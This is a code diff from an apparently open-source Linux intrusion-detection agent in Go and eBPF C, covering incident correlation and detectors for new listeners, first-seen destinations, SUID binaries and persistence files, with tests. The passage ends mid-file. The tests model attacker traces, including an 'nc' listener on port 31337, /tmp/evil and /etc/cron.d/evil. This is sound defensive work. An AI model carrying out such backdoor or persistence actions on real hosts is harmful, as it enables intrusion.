import (
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestCorrelateMultiStageIntrusion(t *testing.T) {
|
||||
records := Correlate(Incident{
|
||||
FirstTimestamp: 1000, LastTimestamp: 1050,
|
||||
Signatures: []string{"host_rule.suspicious-egress", "exec_rule.web-rce"},
|
||||
}, nil)
|
||||
if len(records) != 1 || records[0].SID != SIDMultiStageIntrusion ||
|
||||
!reflect.DeepEqual(records[0].MatchedSignatures,
|
||||
[]string{"exec_rule.web-rce", "host_rule.suspicious-egress"}) {
|
||||
t.Fatalf("unexpected correlation: %#v", records)
|
||||
}
|
||||
if records := Correlate(Incident{
|
||||
FirstTimestamp: 1000, LastTimestamp: 1601,
|
||||
Signatures: []string{"exec_rule.web-rce", "host_rule.suspicious-listener"},
|
||||
}, nil); len(records) != 0 {
|
||||
t.Fatalf("expired incident correlated: %#v", records)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLineageAssignAndSeverity(t *testing.T) {
|
||||
parents := map[int]int{42: 20, 20: 10, 10: 1}
|
||||
lineage := LineageOf([]int{42}, func(pid int) int { return parents[pid] }, 8)
|
||||
if !lineage[42] || !lineage[20] || !lineage[10] || lineage[1] {
|
||||
t.Fatalf("unexpected lineage: %#v", lineage)
|
||||
}
|
||||
index := []IndexIncident{
|
||||
{ID: "old", Host: "h", LastTimestamp: 1010, Lineage: []int{20}},
|
||||
{ID: "new", Host: "h", LastTimestamp: 1020, Lineage: []int{10}},
|
||||
}
|
||||
if got := Assign(index, lineage, 1030, "h", 60); got != "new" {
|
||||
t.Fatalf("unexpected assignment: %s", got)
|
||||
}
|
||||
if MaxSeverity("HIGH", "CRITICAL") != "CRITICAL" || MaxSeverity("unknown", "MEDIUM") != "MEDIUM" {
|
||||
t.Fatal("severity ordering drifted")
|
||||
}
|
||||
}
|
||||
78
go-agent/internal/correlation/incident.go
Normal file
78
go-agent/internal/correlation/incident.go
Normal file
|
|
@ -0,0 +1,78 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package correlation
|
||||
|
||||
// LineageOf walks each starting PID through parentOf, excluding pid 0/init so
|
||||
// unrelated process trees never correlate merely because they share init.
|
||||
func LineageOf(pids []int, parentOf func(int) int, depth int) map[int]bool {
|
||||
seen := make(map[int]bool)
|
||||
for _, start := range pids {
|
||||
current := start
|
||||
steps := 0
|
||||
for current != 0 && current != 1 && steps <= depth {
|
||||
if seen[current] {
|
||||
break
|
||||
}
|
||||
seen[current] = true
|
||||
current = parentOf(current)
|
||||
steps++
|
||||
}
|
||||
}
|
||||
return seen
|
||||
}
|
||||
|
||||
type IndexIncident struct {
|
||||
ID string `json:"id"`
|
||||
Host string `json:"host"`
|
||||
LastTimestamp float64 `json:"last_ts"`
|
||||
Lineage []int `json:"lineage"`
|
||||
}
|
||||
|
||||
// Assign returns the most recently active incident compatible with this host
|
||||
// and lineage. Empty-lineage evidence may join any open incident on the host,
|
||||
// reproducing Python's fallback for FIM/package evidence without a live PID.
|
||||
func Assign(index []IndexIncident, lineage map[int]bool, when float64, host string, window int) string {
|
||||
best := ""
|
||||
bestTimestamp := -1.0
|
||||
for _, incident := range index {
|
||||
if incident.Host != host || when-incident.LastTimestamp > float64(window) {
|
||||
continue
|
||||
}
|
||||
if len(lineage) > 0 && !intersects(incident.Lineage, lineage) {
|
||||
continue
|
||||
}
|
||||
if incident.LastTimestamp > bestTimestamp {
|
||||
best, bestTimestamp = incident.ID, incident.LastTimestamp
|
||||
}
|
||||
}
|
||||
return best
|
||||
}
|
||||
|
||||
func MaxSeverity(left, right string) string {
|
||||
if severityRank(left) >= severityRank(right) {
|
||||
return left
|
||||
}
|
||||
return right
|
||||
}
|
||||
|
||||
func severityRank(value string) int {
|
||||
switch value {
|
||||
case "MEDIUM":
|
||||
return 1
|
||||
case "HIGH":
|
||||
return 2
|
||||
case "CRITICAL":
|
||||
return 3
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
func intersects(values []int, wanted map[int]bool) bool {
|
||||
for _, value := range values {
|
||||
if wanted[value] {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
95
go-agent/internal/detectors/first_seen.go
Normal file
95
go-agent/internal/detectors/first_seen.go
Normal file
|
|
@ -0,0 +1,95 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/netutil"
|
||||
)
|
||||
|
||||
// FirstSeen ports the Python first_seen detector (SIDs 100074 and 100075).
|
||||
// Baseline state is injected for now; durable local storage belongs to a later
|
||||
// sidecar persistence tranche.
|
||||
func FirstSeen(state model.State, cfg config.Config) []model.Alert {
|
||||
if !cfg.Enabled("first_seen") ||
|
||||
state.FirstSeenPublicDestinations == nil ||
|
||||
state.FirstSeenListenerPorts == nil {
|
||||
return []model.Alert{}
|
||||
}
|
||||
alerts := make([]model.Alert, 0)
|
||||
for _, socket := range state.Sockets {
|
||||
comm := socket.Comm
|
||||
if comm == "" {
|
||||
comm = "?"
|
||||
}
|
||||
if socket.State == "ESTAB" {
|
||||
host, port := netutil.SplitHostPort(socket.Peer)
|
||||
target := host + ":" + port
|
||||
if netutil.IsPublicIP(host) && port != "" &&
|
||||
!contains(state.FirstSeenPublicDestinations[comm], target) {
|
||||
// Record before considering whether to alert. The first armed pass
|
||||
// learns silently, and duplicate sockets in one sweep must not emit
|
||||
// duplicate rarity alerts.
|
||||
state.FirstSeenPublicDestinations[comm] = append(
|
||||
state.FirstSeenPublicDestinations[comm], target)
|
||||
sort.Strings(state.FirstSeenPublicDestinations[comm])
|
||||
if state.FirstSeenInitialized {
|
||||
alerts = append(alerts, model.Alert{
|
||||
SID: 100074, Severity: "MEDIUM",
|
||||
Signature: "first_public_destination", Classtype: "network-rarity",
|
||||
Key: "firstdest:" + comm + ":" + target,
|
||||
Detail: fmt.Sprintf("comm=%s first public destination %s", comm, target),
|
||||
PIDs: alertPIDs(socket.PID),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
if (socket.State == "LISTEN" || socket.State == "UNCONN") &&
|
||||
(socket.Kind == "tcp" || socket.Kind == "udp" || socket.Kind == "") {
|
||||
_, port := netutil.SplitHostPort(socket.Local)
|
||||
if port != "" && port != "0" && isDigits(port) &&
|
||||
!contains(state.FirstSeenListenerPorts[comm], port) {
|
||||
state.FirstSeenListenerPorts[comm] = append(
|
||||
state.FirstSeenListenerPorts[comm], port)
|
||||
sort.Slice(state.FirstSeenListenerPorts[comm], func(i, j int) bool {
|
||||
left, _ := strconv.Atoi(state.FirstSeenListenerPorts[comm][i])
|
||||
right, _ := strconv.Atoi(state.FirstSeenListenerPorts[comm][j])
|
||||
return left < right
|
||||
})
|
||||
if state.FirstSeenInitialized {
|
||||
alerts = append(alerts, model.Alert{
|
||||
SID: 100075, Severity: "MEDIUM",
|
||||
Signature: "first_listener_port", Classtype: "network-rarity",
|
||||
Key: "firstlisten:" + comm + ":" + port,
|
||||
Detail: fmt.Sprintf("comm=%s first listening port %s", comm, port),
|
||||
PIDs: alertPIDs(socket.PID),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return alerts
|
||||
}
|
||||
|
||||
func contains(values []string, wanted string) bool {
|
||||
for _, value := range values {
|
||||
if value == wanted {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func isDigits(value string) bool {
|
||||
for _, char := range value {
|
||||
if char < '0' || char > '9' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
45
go-agent/internal/detectors/first_seen_test.go
Normal file
45
go-agent/internal/detectors/first_seen_test.go
Normal file
|
|
@ -0,0 +1,45 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
func TestFirstSeenAlertsNewDestinationAndListener(t *testing.T) {
|
||||
pid := 42
|
||||
cfg := config.Default()
|
||||
alerts := FirstSeen(model.State{
|
||||
FirstSeenInitialized: true,
|
||||
FirstSeenPublicDestinations: map[string][]string{"bash": {"1.1.1.1:443"}},
|
||||
FirstSeenListenerPorts: map[string][]string{"nc": {"22"}},
|
||||
Sockets: []model.Socket{
|
||||
{State: "ESTAB", Peer: "8.8.8.8:4443", Comm: "bash", PID: &pid},
|
||||
{State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc", PID: &pid, Kind: "tcp"},
|
||||
},
|
||||
}, cfg)
|
||||
if len(alerts) != 2 || alerts[0].SID != 100074 || alerts[1].SID != 100075 {
|
||||
t.Fatalf("got %#v", alerts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFirstSeenUninitializedIsSilent(t *testing.T) {
|
||||
cfg := config.Default()
|
||||
state := model.State{
|
||||
FirstSeenPublicDestinations: map[string][]string{},
|
||||
FirstSeenListenerPorts: map[string][]string{},
|
||||
Sockets: []model.Socket{
|
||||
{State: "ESTAB", Peer: "8.8.8.8:443", Comm: "bash"},
|
||||
{State: "ESTAB", Peer: "8.8.8.8:443", Comm: "bash"},
|
||||
},
|
||||
}
|
||||
if alerts := FirstSeen(state, cfg); len(alerts) != 0 {
|
||||
t.Fatalf("got %#v", alerts)
|
||||
}
|
||||
if got := state.FirstSeenPublicDestinations["bash"]; len(got) != 1 || got[0] != "8.8.8.8:443" {
|
||||
t.Fatalf("silent learning did not update state once: %#v", got)
|
||||
}
|
||||
}
|
||||
69
go-agent/internal/detectors/new_listener.go
Normal file
69
go-agent/internal/detectors/new_listener.go
Normal file
|
|
@ -0,0 +1,69 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/provenance"
|
||||
)
|
||||
|
||||
// isPackageOwned is injectable so tests never shell out to a package manager.
|
||||
var isPackageOwned = provenance.IsPackageOwned
|
||||
|
||||
// NewListener ports the Python new_listener detector (SID 100013).
|
||||
// A nil baseline is represented by an empty fixture field and remains fail-open.
|
||||
func NewListener(state model.State, cfg config.Config) []model.Alert {
|
||||
if state.ListenerBaseline == nil {
|
||||
return []model.Alert{}
|
||||
}
|
||||
baseline := make(map[string]bool, len(state.ListenerBaseline))
|
||||
for _, key := range state.ListenerBaseline {
|
||||
baseline[key] = true
|
||||
}
|
||||
processExe := make(map[int]string, len(state.Processes))
|
||||
for _, process := range state.Processes {
|
||||
processExe[process.PID] = process.Exe
|
||||
}
|
||||
alerts := make([]model.Alert, 0)
|
||||
for _, socket := range state.Sockets {
|
||||
if socket.State != "LISTEN" {
|
||||
continue
|
||||
}
|
||||
// Python uses rpartition(":"): the port is everything after the last
|
||||
// colon, or the whole endpoint when no colon exists. Splitting at the
|
||||
// first colon would corrupt bracketed IPv6 locals such as "[::]:31337".
|
||||
port := socket.Local
|
||||
if index := strings.LastIndex(socket.Local, ":"); index >= 0 {
|
||||
port = socket.Local[index+1:]
|
||||
}
|
||||
comm := socket.Comm
|
||||
if comm == "" {
|
||||
comm = "?"
|
||||
}
|
||||
key := port + "/" + comm
|
||||
if baseline[key] || cfg.ListenerAllowPorts[port] || cfg.ListenerAllowComms[comm] {
|
||||
continue
|
||||
}
|
||||
// Optional provenance gate, mirroring Python: a listener whose binary
|
||||
// ships with an installed package is very likely legitimate.
|
||||
if cfg.SuppressPackageOwnedListeners && socket.PID != nil {
|
||||
if exe := processExe[*socket.PID]; exe != "" && isPackageOwned(exe) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
alerts = append(alerts, model.Alert{
|
||||
SID: 100013,
|
||||
Severity: "HIGH",
|
||||
Signature: "new_listener",
|
||||
Classtype: "backdoor-listener",
|
||||
Key: "lis:" + key,
|
||||
Detail: fmt.Sprintf("new listening socket %s by comm=%s", socket.Local, comm),
|
||||
PIDs: alertPIDs(socket.PID),
|
||||
})
|
||||
}
|
||||
return alerts
|
||||
}
|
||||
91
go-agent/internal/detectors/new_listener_test.go
Normal file
91
go-agent/internal/detectors/new_listener_test.go
Normal file
|
|
@ -0,0 +1,91 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
func TestNewListenerAlertsUnbaselinedListener(t *testing.T) {
|
||||
pid := 500
|
||||
alerts := NewListener(model.State{
|
||||
Sockets: []model.Socket{{
|
||||
State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc", PID: &pid,
|
||||
}},
|
||||
ListenerBaseline: []string{},
|
||||
}, config.Default())
|
||||
if len(alerts) != 1 {
|
||||
t.Fatalf("got %#v", alerts)
|
||||
}
|
||||
if alerts[0].SID != 100013 || alerts[0].Key != "lis:31337/nc" {
|
||||
t.Fatalf("unexpected alert: %#v", alerts[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewListenerSkipsBaselineAndAllowLists(t *testing.T) {
|
||||
pid := 501
|
||||
cfg := config.Default()
|
||||
cfg.ListenerAllowPorts["8080"] = true
|
||||
cfg.ListenerAllowComms["sshd"] = true
|
||||
state := model.State{
|
||||
Sockets: []model.Socket{
|
||||
{State: "LISTEN", Local: "0.0.0.0:22", Comm: "sshd", PID: &pid},
|
||||
{State: "LISTEN", Local: "0.0.0.0:8080", Comm: "server", PID: &pid},
|
||||
{State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc", PID: &pid},
|
||||
},
|
||||
ListenerBaseline: []string{"31337/nc"},
|
||||
}
|
||||
if alerts := NewListener(state, cfg); len(alerts) != 0 {
|
||||
t.Fatalf("got %#v", alerts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewListenerWithoutBaselineIsSilent(t *testing.T) {
|
||||
state := model.State{Sockets: []model.Socket{{
|
||||
State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc",
|
||||
}}}
|
||||
if alerts := NewListener(state, config.Default()); len(alerts) != 0 {
|
||||
t.Fatalf("got %#v", alerts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewListenerIPv6PortUsesLastColon(t *testing.T) {
|
||||
pid := 502
|
||||
alerts := NewListener(model.State{
|
||||
Sockets: []model.Socket{{
|
||||
State: "LISTEN", Local: "[::]:31337", Comm: "nc", PID: &pid,
|
||||
}},
|
||||
ListenerBaseline: []string{},
|
||||
}, config.Default())
|
||||
if len(alerts) != 1 || alerts[0].Key != "lis:31337/nc" {
|
||||
t.Fatalf("got %#v", alerts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewListenerPackageOwnedSuppression(t *testing.T) {
|
||||
saved := isPackageOwned
|
||||
defer func() { isPackageOwned = saved }()
|
||||
isPackageOwned = func(path string) bool { return path == "/usr/bin/qbittorrent" }
|
||||
|
||||
pid := 503
|
||||
cfg := config.Default()
|
||||
cfg.SuppressPackageOwnedListeners = true
|
||||
state := model.State{
|
||||
Processes: []model.Process{{PID: pid, Exe: "/usr/bin/qbittorrent"}},
|
||||
Sockets: []model.Socket{{
|
||||
State: "LISTEN", Local: "0.0.0.0:6881", Comm: "qbittorrent", PID: &pid,
|
||||
}},
|
||||
ListenerBaseline: []string{},
|
||||
}
|
||||
if alerts := NewListener(state, cfg); len(alerts) != 0 {
|
||||
t.Fatalf("got %#v", alerts)
|
||||
}
|
||||
// The gate only applies when explicitly enabled.
|
||||
cfg.SuppressPackageOwnedListeners = false
|
||||
if alerts := NewListener(state, cfg); len(alerts) != 1 {
|
||||
t.Fatalf("got %#v", alerts)
|
||||
}
|
||||
}
|
||||
49
go-agent/internal/detectors/new_suid.go
Normal file
49
go-agent/internal/detectors/new_suid.go
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
// NewSUID ports the Python new_suid detector (SID 100014).
|
||||
// The filesystem scan and baseline are supplied by the caller; absent values
|
||||
// remain fail-open until the sidecar gains its own slow-scan persistence.
|
||||
func NewSUID(state model.State, cfg config.Config) []model.Alert {
|
||||
if state.SUIDBinaries == nil || state.SUIDBaseline == nil {
|
||||
return []model.Alert{}
|
||||
}
|
||||
baseline := make(map[string]bool, len(state.SUIDBaseline))
|
||||
for _, path := range state.SUIDBaseline {
|
||||
baseline[path] = true
|
||||
}
|
||||
alerts := make([]model.Alert, 0)
|
||||
for _, path := range state.SUIDBinaries {
|
||||
if baseline[path] {
|
||||
continue
|
||||
}
|
||||
hot := false
|
||||
for _, directory := range cfg.SUIDHotDirs {
|
||||
directory = strings.TrimRight(directory, "/")
|
||||
if directory != "" && strings.HasPrefix(path, directory+"/") {
|
||||
hot = true
|
||||
break
|
||||
}
|
||||
}
|
||||
severity := "HIGH"
|
||||
detail := "new SUID/SGID binary: " + path
|
||||
if hot {
|
||||
severity = "CRITICAL"
|
||||
detail = "SUID/SGID binary in writable dir: " + path
|
||||
}
|
||||
alerts = append(alerts, model.Alert{
|
||||
SID: 100014, Severity: severity, Signature: "new_suid",
|
||||
Classtype: "privilege-escalation", Key: "suid:" + path,
|
||||
Detail: detail, PIDs: []int{},
|
||||
})
|
||||
}
|
||||
return alerts
|
||||
}
|
||||
29
go-agent/internal/detectors/new_suid_test.go
Normal file
29
go-agent/internal/detectors/new_suid_test.go
Normal file
|
|
@ -0,0 +1,29 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
func TestNewSUIDSeverityAndBaseline(t *testing.T) {
|
||||
alerts := NewSUID(model.State{
|
||||
SUIDBinaries: []string{"/tmp/evil", "/usr/local/bin/newtool", "/usr/bin/sudo"},
|
||||
SUIDBaseline: []string{"/usr/bin/sudo"},
|
||||
}, config.Default())
|
||||
if len(alerts) != 2 {
|
||||
t.Fatalf("got %#v", alerts)
|
||||
}
|
||||
if alerts[0].Severity != "CRITICAL" || alerts[1].Severity != "HIGH" {
|
||||
t.Fatalf("unexpected severities: %#v", alerts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewSUIDWithoutScanIsSilent(t *testing.T) {
|
||||
if alerts := NewSUID(model.State{SUIDBaseline: []string{"/usr/bin/sudo"}}, config.Default()); len(alerts) != 0 {
|
||||
t.Fatalf("got %#v", alerts)
|
||||
}
|
||||
}
|
||||
50
go-agent/internal/detectors/persistence.go
Normal file
50
go-agent/internal/detectors/persistence.go
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
// Persistence ports the Python persistence detector (SID 100015).
|
||||
// PersistenceFiles is an injectable path-to-mtime view; live filesystem
|
||||
// collection remains deferred until the sidecar gains configured slow scans.
|
||||
func Persistence(state model.State, cfg config.Config) []model.Alert {
|
||||
if state.PersistSince == nil {
|
||||
return []model.Alert{}
|
||||
}
|
||||
alerts := make([]model.Alert, 0)
|
||||
paths := make([]string, 0, len(state.PersistenceFiles))
|
||||
for path := range state.PersistenceFiles {
|
||||
paths = append(paths, path)
|
||||
}
|
||||
sort.Strings(paths)
|
||||
for _, path := range paths {
|
||||
mtime := state.PersistenceFiles[path]
|
||||
if mtime <= *state.PersistSince || !watchedPath(path, cfg.WatchPersistence) {
|
||||
continue
|
||||
}
|
||||
alerts = append(alerts, model.Alert{
|
||||
SID: 100015, Severity: "HIGH", Signature: "persistence",
|
||||
Classtype: "persistence", Key: "persist:" + path,
|
||||
Detail: fmt.Sprintf("persistence file modified: %s", path),
|
||||
PIDs: []int{},
|
||||
})
|
||||
}
|
||||
return alerts
|
||||
}
|
||||
|
||||
func watchedPath(path string, roots []string) bool {
|
||||
for _, root := range roots {
|
||||
root = strings.TrimRight(root, "/")
|
||||
if path == root || (root != "" && strings.HasPrefix(path, root+"/")) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
33
go-agent/internal/detectors/persistence_test.go
Normal file
33
go-agent/internal/detectors/persistence_test.go
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
func TestPersistenceAlertsModifiedWatchedFiles(t *testing.T) {
|
||||
since := 100.0
|
||||
alerts := Persistence(model.State{
|
||||
PersistSince: &since,
|
||||
PersistenceFiles: map[string]float64{
|
||||
"/etc/cron.d/evil": 101,
|
||||
"/tmp/not-watched": 200,
|
||||
"/etc/passwd": 99,
|
||||
},
|
||||
}, config.Default())
|
||||
if len(alerts) != 1 || alerts[0].Key != "persist:/etc/cron.d/evil" {
|
||||
t.Fatalf("got %#v", alerts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPersistenceWithoutScanIsSilent(t *testing.T) {
|
||||
if alerts := Persistence(model.State{
|
||||
PersistenceFiles: map[string]float64{"/etc/passwd": 200},
|
||||
}, config.Default()); len(alerts) != 0 {
|
||||
t.Fatalf("got %#v", alerts)
|
||||
}
|
||||
}
|
||||
84
go-agent/internal/ebpfsource/bpf/exec.bpf.c
Normal file
84
go-agent/internal/ebpfsource/bpf/exec.bpf.c
Normal file
|
|
@ -0,0 +1,84 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
#define SEC(name) __attribute__((section(name), used))
|
||||
#define __uint(name, value) int (*name)[value]
|
||||
|
||||
typedef unsigned int u32;
|
||||
typedef unsigned long long u64;
|
||||
|
||||
#define BPF_MAP_TYPE_PERF_EVENT_ARRAY 4
|
||||
#define BPF_F_CURRENT_CPU 0xffffffffULL
|
||||
|
||||
struct trace_event_raw_sys_enter {
|
||||
u64 _common;
|
||||
long id;
|
||||
unsigned long args[6];
|
||||
};
|
||||
|
||||
// Minimal CO-RE flavor of task_struct. The loader relocates these two fields
|
||||
// against the running kernel's BTF, avoiding a generated vmlinux.h dependency.
|
||||
struct task_struct {
|
||||
int tgid;
|
||||
struct task_struct *real_parent;
|
||||
} __attribute__((preserve_access_index));
|
||||
|
||||
struct exec_event {
|
||||
u32 pid;
|
||||
u32 ppid;
|
||||
u32 uid;
|
||||
char parent_comm[16];
|
||||
char filename[128];
|
||||
char arg1[128];
|
||||
char arg2[128];
|
||||
};
|
||||
|
||||
struct {
|
||||
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
|
||||
__uint(key_size, sizeof(u32));
|
||||
__uint(value_size, sizeof(u32));
|
||||
} events SEC(".maps");
|
||||
|
||||
static u64 (*bpf_get_current_pid_tgid)(void) = (void *)14;
|
||||
static u64 (*bpf_get_current_uid_gid)(void) = (void *)15;
|
||||
static long (*bpf_get_current_comm)(void *buf, u32 size) = (void *)16;
|
||||
static long (*bpf_probe_read_user)(void *dst, u32 size, const void *unsafe_ptr) = (void *)112;
|
||||
static long (*bpf_probe_read_user_str)(void *dst, u32 size, const void *unsafe_ptr) = (void *)114;
|
||||
static long (*bpf_probe_read_kernel)(void *dst, u32 size, const void *unsafe_ptr) = (void *)113;
|
||||
static long (*bpf_perf_event_output)(void *ctx, void *map, u64 flags,
|
||||
void *data, u64 size) = (void *)25;
|
||||
static u64 (*bpf_get_current_task)(void) = (void *)35;
|
||||
|
||||
#define bpf_core_read(dst, size, src) \
|
||||
bpf_probe_read_kernel((dst), (size), \
|
||||
(const void *)__builtin_preserve_access_index(src))
|
||||
|
||||
SEC("tracepoint/syscalls/sys_enter_execve")
|
||||
int trace_execve(struct trace_event_raw_sys_enter *ctx)
|
||||
{
|
||||
struct exec_event event = {};
|
||||
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
|
||||
struct task_struct *parent = 0;
|
||||
const char *const *argv = (const char *const *)ctx->args[1];
|
||||
const char *argument = 0;
|
||||
|
||||
event.pid = bpf_get_current_pid_tgid() >> 32;
|
||||
event.uid = bpf_get_current_uid_gid();
|
||||
bpf_core_read(&parent, sizeof(parent), &task->real_parent);
|
||||
if (parent)
|
||||
bpf_core_read(&event.ppid, sizeof(event.ppid), &parent->tgid);
|
||||
bpf_get_current_comm(event.parent_comm, sizeof(event.parent_comm));
|
||||
bpf_probe_read_user_str(event.filename, sizeof(event.filename),
|
||||
(const void *)ctx->args[0]);
|
||||
bpf_probe_read_user(&argument, sizeof(argument), &argv[1]);
|
||||
if (argument)
|
||||
bpf_probe_read_user_str(event.arg1, sizeof(event.arg1), argument);
|
||||
argument = 0;
|
||||
bpf_probe_read_user(&argument, sizeof(argument), &argv[2]);
|
||||
if (argument)
|
||||
bpf_probe_read_user_str(event.arg2, sizeof(event.arg2), argument);
|
||||
|
||||
bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event));
|
||||
return 0;
|
||||
}
|
||||
|
||||
char LICENSE[] SEC("license") = "GPL";
|
||||
212
go-agent/internal/ebpfsource/bpf/syscall.bpf.c
Normal file
212
go-agent/internal/ebpfsource/bpf/syscall.bpf.c
Normal file
|
|
@ -0,0 +1,212 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
#define SEC(name) __attribute__((section(name), used))
|
||||
#define __uint(name, value) int (*name)[value]
|
||||
|
||||
typedef unsigned int u32;
|
||||
typedef unsigned short u16;
|
||||
typedef unsigned long long u64;
|
||||
|
||||
#define BPF_MAP_TYPE_HASH 1
|
||||
#define BPF_MAP_TYPE_PERF_EVENT_ARRAY 4
|
||||
#define BPF_F_CURRENT_CPU 0xffffffffULL
|
||||
|
||||
struct trace_event_raw_sys_enter {
|
||||
u64 _common;
|
||||
long id;
|
||||
unsigned long args[6];
|
||||
};
|
||||
|
||||
struct trace_event_raw_sys_exit {
|
||||
u64 _common;
|
||||
long id;
|
||||
long ret;
|
||||
};
|
||||
|
||||
struct task_struct {
|
||||
int tgid;
|
||||
struct task_struct *real_parent;
|
||||
} __attribute__((preserve_access_index));
|
||||
|
||||
struct syscall_event {
|
||||
u32 pid;
|
||||
u32 ppid;
|
||||
u32 uid;
|
||||
u32 syscall_id;
|
||||
char comm[16];
|
||||
u64 args[6];
|
||||
char text[80];
|
||||
};
|
||||
|
||||
struct {
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(key_size, sizeof(u64));
|
||||
__uint(value_size, sizeof(u32));
|
||||
__uint(max_entries, 64);
|
||||
} monitored_syscalls SEC(".maps");
|
||||
|
||||
struct {
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(key_size, 16);
|
||||
__uint(value_size, sizeof(u32));
|
||||
__uint(max_entries, 64);
|
||||
} monitored_host_comms SEC(".maps");
|
||||
|
||||
struct {
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(key_size, sizeof(u64));
|
||||
__uint(value_size, sizeof(struct syscall_event));
|
||||
__uint(max_entries, 4096);
|
||||
} pending_returns SEC(".maps");
|
||||
|
||||
struct {
|
||||
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
|
||||
__uint(key_size, sizeof(u32));
|
||||
__uint(value_size, sizeof(u32));
|
||||
} syscall_events SEC(".maps");
|
||||
|
||||
static u64 (*bpf_get_current_pid_tgid)(void) = (void *)14;
|
||||
static u64 (*bpf_get_current_uid_gid)(void) = (void *)15;
|
||||
static long (*bpf_get_current_comm)(void *buf, u32 size) = (void *)16;
|
||||
static void *(*bpf_map_lookup_elem)(void *map, const void *key) = (void *)1;
|
||||
static long (*bpf_map_update_elem)(void *map, const void *key, const void *value, u64 flags) = (void *)2;
|
||||
static long (*bpf_map_delete_elem)(void *map, const void *key) = (void *)3;
|
||||
static long (*bpf_probe_read_user_str)(void *dst, u32 size, const void *unsafe_ptr) = (void *)114;
|
||||
static long (*bpf_probe_read_user)(void *dst, u32 size, const void *unsafe_ptr) = (void *)112;
|
||||
static long (*bpf_probe_read_kernel)(void *dst, u32 size, const void *unsafe_ptr) = (void *)113;
|
||||
